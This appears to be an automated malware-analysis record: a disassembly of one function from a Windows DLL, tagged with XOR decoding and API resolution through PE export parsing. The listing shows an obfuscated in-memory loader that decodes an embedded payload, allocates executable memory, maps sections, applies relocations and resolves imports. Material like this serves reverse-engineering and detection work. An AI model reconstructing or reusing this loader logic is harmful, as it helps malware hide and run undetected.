Function at 0x1800010f0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001122
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001122
nop
jmp 0x180001120
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp dword [0x180020a74], 0xa
jl 0x180001162
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001162
nop dword [rax]
jmp 0x180001160
lea r8, section..data
mov r11d, 3
mov rdi, r10
mov rax, r8
mov cl, byte [r8]
nop dword [rax + rax]
mov byte [rdi], cl
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp ebx, 0xa
jl 0x1800011de
test esi, esi
je 0x1800011de
cmp ebx, 0xa
jl 0x1800011c0
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x180001310
nop word cs:[rax + rax]
nop
mov byte [rdi], cl
cmp dword [0x180020a74], 0xa
jl 0x180001180
mov edx, dword [0x180020a78]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x1800011c0
jmp 0x180001180
cmp ebx, 0xa
jl 0x1800011eb
test esi, esi
jne 0x180001320
add rax, 1
add rdi, 1
sub r11, 1
jb 0x1800011fd
mov cl, byte [rax]
jmp 0x180001180
cmp dword [0x180020a6c], 0xa
jl 0x180001352
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001352
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp ebx, 0xa
jl 0x180001243
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180001350
mov r9d, 3
mov rcx, r8
mov dl, byte [r8]
nop
mov byte [rax], dl
mov ebx, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp edi, 0xa
jl 0x1800012ae
test esi, esi
je 0x1800012ae
cmp edi, 0xa
jl 0x180001290
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x180001330
nop word cs:[rax + rax]
nop
mov byte [rax], dl
cmp dword [0x180020a74], 0xa
jl 0x180001250
mov ebx, dword [0x180020a78]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x180001290
jmp 0x180001250
cmp edi, 0xa
jl 0x1800012bb
test esi, esi
jne 0x180001340
add rcx, 1
add rax, 1
sub r9, 1
jb 0x1800012cd
mov dl, byte [rcx]
jmp 0x180001250
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp edi, 0xa
jl 0x180001169
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001169
jmp 0x180001160
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
jmp 0x180001340
jmp 0x180001350
mov r12d, dword [r10]
test r12, r12
je 0x180001472
xor edi, edi
cmp r12d, 0x10
jb 0x180001446
lea rcx, [r12 - 1]
cmp rcx, 0x400
jae 0x180001446
mov edi, r12d
and edi, 0xfffffff0
lea rax, [rdi - 0x10]
mov rcx, rax
shr rcx, 4
add rcx, 1
mov r8d, ecx
and r8d, 1
test rax, rax
je 0x18000140c
mov rax, r8
sub rax, rcx
xor esi, esi
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ecx, esi
and ecx, 0x3e0
movups xmm1, xmmword [rcx + r10 + 4]
movups xmm2, xmmword [rsi + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r10 + 0x404], xmm2
lea ecx, [rsi + 0x10]
and ecx, 0x3f0
movups xmm2, xmmword [rcx + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r10 + 0x414], xmm1
add rsi, 0x20
add rax, 2
jne 0x1800013b3
jmp 0x18000140e
xor esi, esi
test r8, r8
je 0x180001441
mov ecx, esi
and ecx, 0x3f0
lea rax, section..data
movups xmm0, xmmword [rcx + rax + 4]
movups xmm1, xmmword [rsi + rax + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rax + 0x404], xmm1
cmp rdi, r12
je 0x180001472
lea rcx, section..data
mov eax, edi
and eax, 0x3ff
movzx eax, byte [rax + rcx + 4]
xor al, byte [rdi + rcx + 0x404]
xor al, 0xc
mov byte [rdi + rcx + 0x404], al
add rdi, 1
cmp rdi, r12
jb 0x18000144d
cmp ebx, 0xa
jl 0x180001492
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001492
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001490
lea rax, section..data
lea r10, [r12 + rax]
add r10, 0x404
mov ecx, 4
mov r8, r10
mov rdx, r9
sub rcx, 1
jb 0x180001522
mov bl, byte [r8]
mov byte [rdx], bl
mov eax, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp edi, 0xa
jl 0x180001506
test esi, esi
je 0x180001506
cmp edi, 0xa
jl 0x1800014e8
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180001520
mov byte [rdx], bl
cmp dword [0x180020a74], 0xa
jl 0x1800014b8
mov eax, dword [0x180020a78]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x1800014e8
jmp 0x1800014b8
add r8, 1
add rdx, 1
cmp edi, 0xa
jl 0x1800014af
test esi, esi
je 0x1800014af
jmp 0x180001517
jmp 0x180001520
mov qword [rbp - 0x10], r10
cmp dword [0x180020a6c], 0xa
jl 0x180001542
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001542
jmp 0x180001540
add qword [rbp - 0x10], 4
mov r9d, dword [r9]
test r9, r9
je 0x1800016cf
xor eax, eax
cmp r9d, 0x20
jb 0x1800015ae
lea rdx, [r9 - 1]
cmp rdx, 0x400
lea rbx, section..data
jae 0x1800016ab
lea rcx, [r12 + rbx]
add rcx, 0x408
lea rdx, [r9 + rbx]
add rdx, 4
cmp rcx, rdx
jae 0x1800015ba
lea rcx, [r9 + r12]
lea rax, section..data
add rcx, rax
add rcx, 0x408
lea rdx, str.VqGYARtjHwbOQWkxzdFvVdZgwGmdSAFGRCRheKyWyteOOitOSvswBwYchdRSVklElhfpCqCIojbjbZswUyRcFBpXpBhCcHzwEIlmfnTQJhfOvyyzzrxBMABPgasjsMQdJjoSrrotAwxPMVjSMwAoDmqpdsBnScGOsCkWrvKPPGACngygsGfHfHryJrBTBOzbOenTGCGilhdsihvHrGFYUuVFTeaBPLcfkYbcKWhUmSKAggJGRfQISktKgGasBVWCimUrZTtizYTsltAyIBnhVyIeIWSWFvXjVVfjUSEtPFooBpJtzrsQVMRpYoKTobyCrPLzJwdMkQCgfBFnCqRFJKYIgugPQgVyEhILmVlMXXFOSLOSQIMZBiKpAtsTTmODzEGROHaeXSIhLPKhxyauhcTCIkELgeiJejjpxjxmuIqGfJcStIPsJYMCqnRCIXlzeQkEzjJAFaxjQfZBiIirRJnIXRtbDpJqwpTmYwXTiQPMFnQWEIyUfDueJdStqLvupRmnvVxIPwsooHtfjrxzDGLlvzLQVAPEzaIJsjFVYienYOhSglFllbVMIgqCKzoGEpsDPzRXrEIJRrfMpLpgaegHLlmUfmxxsCpyfLgSPOGdxLsHqIJpPkmgDcXCwTXPKdtAjsexTFsXUveHbMRQXzdHRKKTXKxHRYLnReuWTwbRhZBgTDaoMHgZukhDujOMdQUSrHoFnWIQHMBlfGXSzeVHSXjBwvOGzAITYAdjkkgWrezqhOEfTMBWZJDdkEVEtUmBrmkAfKFPDcVEDpPOAqKSMHxAPFjiIIeXgdFRASDaGrqanSJYCDlnstKMmYLHexaRVqtDnTUJpnslKYOudwUKjREGcQkiYmIrMaGVPvlYQpPKhFsOdyhcRSkChvtcvvBkgOETrDcaQCUKaDcpbtzuEjWxWmduJmVizUEiomJYXPALWGRKTABgYyzLnRlgptvWnoWqKMQAPuHbmSamZsusgLYSXuqSWuaOMYffWqrtrTQgZmJIJdsAaTnLMQv
cmp rcx, rdx
jbe 0x1800015ba
xor eax, eax
lea rbx, section..data
jmp 0x1800016ab
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001663
lea rcx, section..data
lea rdi, [r12 + rcx]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
lea rcx, section..data
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + rcx + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + rcx + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001600
jmp 0x180001665
xor esi, esi
test r8, r8
je 0x18000169f
mov edx, esi
and edx, 0x3e0
lea rcx, section..data
movups xmm0, xmmword [rdx + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x14]
mov rcx, qword [rbp - 0x10]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
lea rbx, section..data
je 0x1800016cf
lea rdx, [r12 + rbx]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + rbx + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800016b6
cmp dword [0x180020a7c], 0xa
jl 0x1800016eb
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016eb
jmp 0x1800016e9
add r12, 0x408
movsxd rax, dword [0x180004440]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov qword [rbp], rax
mov r13, qword [rbp - 0x10]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001711
mov qword [rbp - 8], r13
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001720
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000172e
mov qword [rbp - 0x30], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000173c
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001749
mov r15, rbx
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001755
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001791
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cc6
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017c0
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cc8
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rdx, r13
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x1800017f1
add rdx, 1
add rsi, 1
cmp cl, al
je 0x1800017db
cmp cl, al
je 0x1800017ff
add rdi, 4
add r10, 2
jmp 0x1800017d3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001839
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cca
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001868
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ccc
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r14
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001899
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001883
cmp bl, cl
je 0x1800018a7
add rdx, 4
add rdi, 2
jmp 0x18000187b
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r15
mov r8, r15
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000190a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cce
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001939
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cd0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001972
add rsi, 1
cmp al, bl
je 0x18000195a
cmp al, bl
je 0x180001980
add rdx, 4
add r9, 2
jmp 0x180001953
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r14, rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ebx, 0xa
jl 0x180001ce0
test eax, eax
je 0x180001ce0
movsxd rax, dword [0x180004440]
mov qword [rbp], rax
cmp dword [0x180020a7c], 0xa
mov r14, qword [rbp - 0x10]
jl 0x180001a05
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r14, qword [rbp - 0x10]
and ecx, 1
jne 0x180001cd2
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a05
mov qword [rbp - 8], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a13
mov r13, r14
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a20
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a2b
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a39
mov r15, rdi
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a45
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a81
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cd4
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ab0
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cd6
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r14
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001ae1
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001acb
cmp al, bl
je 0x180001aef
add rsi, 4
add r10, 2
jmp 0x180001ac3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b29
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cd8
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b58
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001cda
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001b89
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b73
cmp cl, dl
je 0x180001b97
add rdi, 4
add rsi, 2
jmp 0x180001b6b
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r15
mov r8, r15
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bfa
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cdc
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c29
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cde
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001c62
add rsi, 1
cmp al, bl
je 0x180001c4a
cmp al, bl
je 0x180001c70
add rdx, 4
add r9, 2
jmp 0x180001c43
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
jl 0x1800016f2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016f2
jmp 0x1800016e9
jmp 0x180001cc6
jmp 0x180001cc8
jmp 0x180001cca
jmp 0x180001ccc
jmp 0x180001cce
jmp 0x180001cd0
jmp 0x180001cd2
jmp 0x180001cd4
jmp 0x180001cd6
jmp 0x180001cd8
jmp 0x180001cda
jmp 0x180001cdc
jmp 0x180001cde
cmp ebx, 0xa
jl 0x180001ceb
test eax, eax
je 0x180001ceb
jmp 0x180001ce9
mov rax, qword [rbp]
lea r12, [rax + 0x108]
xor r9d, r9d
mov rax, qword [rbp]
movzx eax, word [rax + 6]
cmp r9, rax
jae 0x180001fe1
lea rax, [r9 + r9*4]
lea r15, [r12 + rax*8]
add r15, 0xc
lea r10, [r12 + rax*8]
add r10, 0x10
lea rsi, [r12 + rax*8]
add rsi, 0x14
cmp dword [0x180020a74], 0xa
jl 0x180001d44
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fd5
mov eax, dword [r15]
add rax, r14
mov r11d, dword [r10]
mov ecx, dword [rsi]
lea rdx, section..data
add rdx, rcx
add rdx, 0x404
sub r11, 1
jb 0x180001dd8
mov cl, byte [rdx]
mov byte [rax], cl
mov edi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
cmp ebx, 0xa
jl 0x180001dc2
test ecx, ecx
je 0x180001dc2
cmp ebx, 0xa
jl 0x180001d9c
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
jne 0x180001fcf
movzx ecx, byte [rdx]
mov byte [rax], cl
cmp dword [0x180020a74], 0xa
jl 0x180001d66
mov ecx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001d66
movzx ecx, byte [rdx]
mov byte [rax], cl
jmp 0x180001d9c
add rdx, 1
add rax, 1
cmp ebx, 0xa
jl 0x180001d60
test ecx, ecx
je 0x180001d60
jmp 0x180001fd1
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ebx, 0xa
jl 0x180001fb5
test eax, eax
je 0x180001fb5
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
cmp ebx, 0xa
jl 0x180001e1e
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001fdb
mov r11d, dword [r10]
test r11, r11
je 0x180001ec5
mov eax, dword [rsi]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov ecx, dword [r15]
add rcx, r14
jmp 0x180001e55
add r11, 0xffffffffffffffff
add rax, 1
add rcx, 1
test r11, r11
je 0x180001ec5
mov dl, byte [rax]
mov byte [rcx], dl
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea r8d, [rdx - 1]
imul r8d, edx
and r8d, 1
cmp ebx, 0xa
jl 0x180001eb6
test r8d, r8d
je 0x180001eb6
cmp ebx, 0xa
jl 0x180001e95
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001e95
jmp 0x180001fd3
movzx edx, byte [rax]
mov byte [rcx], dl
movzx edx, byte [rax]
mov byte [rcx], dl
cmp dword [0x180020a74], 0xa
jl 0x180001e55
mov edx, dword [0x180020a78]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001e90
jmp 0x180001e55
cmp ebx, 0xa
jl 0x180001e44
test r8d, r8d
je 0x180001e44
jmp 0x180001fd9
cmp ebx, 0xa
jl 0x180001ed9
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001fdf
mov edi, dword [r10]
test rdi, rdi
je 0x180001f7d
mov eax, dword [rsi]
lea rcx, section..data
add rcx, rax
add rcx, 0x404
mov eax, dword [r15]
add rax, r14
jmp 0x180001f11
add rdi, 0xffffffffffffffff
add rcx, 1
add rax, 1
test rdi, rdi
je 0x180001f7d
mov dl, byte [rcx]
mov byte [rax], dl
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea r11d, [rdx - 1]
imul r11d, edx
and r11d, 1
cmp ebx, 0xa
jl 0x180001f71
test r11d, r11d
je 0x180001f71
cmp ebx, 0xa
jl 0x180001f4b
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001fd7
movzx edx, byte [rcx]
mov byte [rax], dl
cmp dword [0x180020a74], 0xa
jl 0x180001f11
mov edx, dword [0x180020a78]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001f11
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x180001f4b
cmp ebx, 0xa
jl 0x180001f00
test r11d, r11d
je 0x180001f00
jmp 0x180001fdd
cmp dword [0x180020a6c], 0xa
jl 0x180001f9b
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e0a
cmp ebx, 0xa
jl 0x180001d44
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001d44
jmp 0x180001fd5
add r9, 1
cmp ebx, 0xa
jl 0x180001cf9
test eax, eax
je 0x180001cf9
jmp 0x180001ce9
jmp 0x180001fcf
jmp 0x180001fd1
jmp 0x180001fd3
jmp 0x180001fd5
jmp 0x180001fd7
jmp 0x180001fd9
jmp 0x180001fdb
jmp 0x180001fdd
jmp 0x180001fdf
mov rax, qword [rbp]
mov rax, qword [rax + 0x30]
mov r11, r14
sub r11, rax
cmp ebx, 0xa
jl 0x180002001
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180002001
jmp 0x180001fff
mov rax, qword [rbp]
mov ecx, dword [rax + 0xb0]
add rcx, r14
movabs r8, 0x1fffffff8
cmp dword [rcx], 0
je 0x1800021d6
mov eax, dword [rcx + 4]
cmp rax, 8
jb 0x18000219e
cmp ebx, 0xa
jl 0x180002042
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x1800021cc
add rax, r8
shr rax, 1
mov r9d, eax
xor r10d, r10d
cmp r10, r9
je 0x18000219e
movzx edi, word [rcx + r10*2 + 8]
mov esi, edi
shr esi, 0xc
mov eax, edi
and eax, 0xfff
cmp edi, 0xa000
jae 0x1800020f5
cmp esi, 3
jne 0x180002175
cmp ebx, 0xa
jl 0x180002092
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x1800021d0
mov edx, dword [rcx]
lea rdx, [r14 + rdx*4]
add dword [rdx + rax*4], r11d
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002175
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x180002175
lea rax, [r14 + rax*4]
mov edx, dword [rcx]
add dword [rax + rdx*4], r11d
mov edx, dword [rcx]
add dword [rax + rdx*4], r11d
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002175
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x1800020c4
jmp 0x180002175
cmp esi, 0xa
jne 0x180002175
cmp ebx, 0xa
jl 0x18000210e
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x1800021d2
mov edx, dword [rcx]
mov eax, eax
add rax, r14
add qword [rdx + rax], r11
jmp 0x180002121
mov edx, dword [rcx]
add qword [rax + rdx], r11
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002175
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x180002175
cmp ebx, 0xa
jl 0x18000214d
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x18000216d
mov edx, dword [rcx]
add qword [rax + rdx], r11
cmp dword [0x180020a6c], 0xa
jl 0x18000211b
mov edx, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x18000211b
mov edx, dword [rcx]
add qword [rax + rdx], r11
jmp 0x18000214d
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ebx, 0xa
jl 0x180002187
test eax, eax
jne 0x1800021ce
add r10, 1
cmp ebx, 0xa
jl 0x18000204e
test eax, eax
je 0x18000204e
jmp 0x1800021cc
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ebx, 0xa
jl 0x1800021b0
test eax, eax
jne 0x1800021d4
mov edi, dword [rcx + 4]
add rcx, rdi
cmp ebx, 0xa
jl 0x180002018
test eax, eax
je 0x180002018
jmp 0x180001fff
jmp 0x1800021cc
jmp 0x1800021ce
jmp 0x1800021d0
jmp 0x1800021d2
jmp 0x1800021d4
cmp ebx, 0xa
jl 0x1800021e8
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x1800021e8
jmp 0x1800021e6
lea rax, [r14 + 2]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, r14
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x1800025a8
add r12, r14
sub rsp, 0x20
jmp 0x18000222f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000225d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002513
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000228c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002515
add r8, r9
